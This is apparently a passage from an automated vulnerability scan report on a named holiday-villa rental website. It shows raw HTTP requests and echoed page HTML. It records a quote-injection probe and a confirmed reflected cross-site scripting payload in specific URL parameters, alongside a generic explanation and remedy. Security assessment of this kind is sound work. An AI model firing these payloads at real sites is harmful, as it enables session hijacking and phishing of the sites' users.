language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portugu..

- /villa_deals.php

/villa_deals.php

http://theholidaygroup.com/villa_deals.php?offer_id=%2527

Parameters

Parameter	Type	Value
offer_id	GET	%27

Request

GET /villa_deals.php?offer_id=%2527 HTTP/1.1
Referer: http://theholidaygroup.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=l6iaj5i41suet2oa84b9le98s7evm3sb
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:18:17 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8022
Content-Type: text/html

<html><title>Villa Villas Deals, Bargain Villas, Luxury Villas</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><style type="text/css">body { background-image: url("images/bg/gradient.jpg"); background-repeat: repeat-x; }.boxed { width: 387px; height: 60px; border: 1px solid C0C0C0; font-family: Arial; font-size: 13px; margin: 10px; padding: 5px; display: inline; cursor: hand; }.title { font-family: Arial; font-size: 13px; color: white; text-decoration: none; font-weight: bold; }.small { font-family: Arial; font-size: 11px; color: white; text-decoration: none; }.highlight { color: red; font-weight: bold; display: inline; }.mainheader { margin-top: 5px; margin-bottom: 0px; text-align: center; font-family: Arial; font-size: 24px; color: white; }</style><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lagos villas" title=" in Lagos"> Luxury Lagos </h2></a></li><li><h2><a onMouseOver="sc_..

Cross-site Scripting

12 TOTAL

IMPORTANT

CONFIRMED

XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /rlargeimage.php

/rlargeimage.php CONFIRMED

http://theholidaygroup.com/rlargeimage.php?rid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0..

Parameters

Parameter	Type	Value
rid	GET	'"--></style></script><script>alert(0x0000BB)</script>
type	GET	lmainimage

Request

GET /rlargeimage.php?rid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0000BB)%3C/script%3E&type=lmainimage HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:10:35 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8101
Content-Type: text/html

<html><head><title>Larger Images for Villas</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><link rel="stylesheet" href="villas.css" type="text/css"><SCRIPT LANGUAGE="JavaScript" src="villas.js"></SCRIPT><style type="text/css">body { background-image: url("/images/gradient.jpg"); background-repeat: repeat-x;}</style></HEAD><BODY text="#FFFFFF" link="#000000" vlink="#000000" alink="#000000" bgcolor="#000066"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img 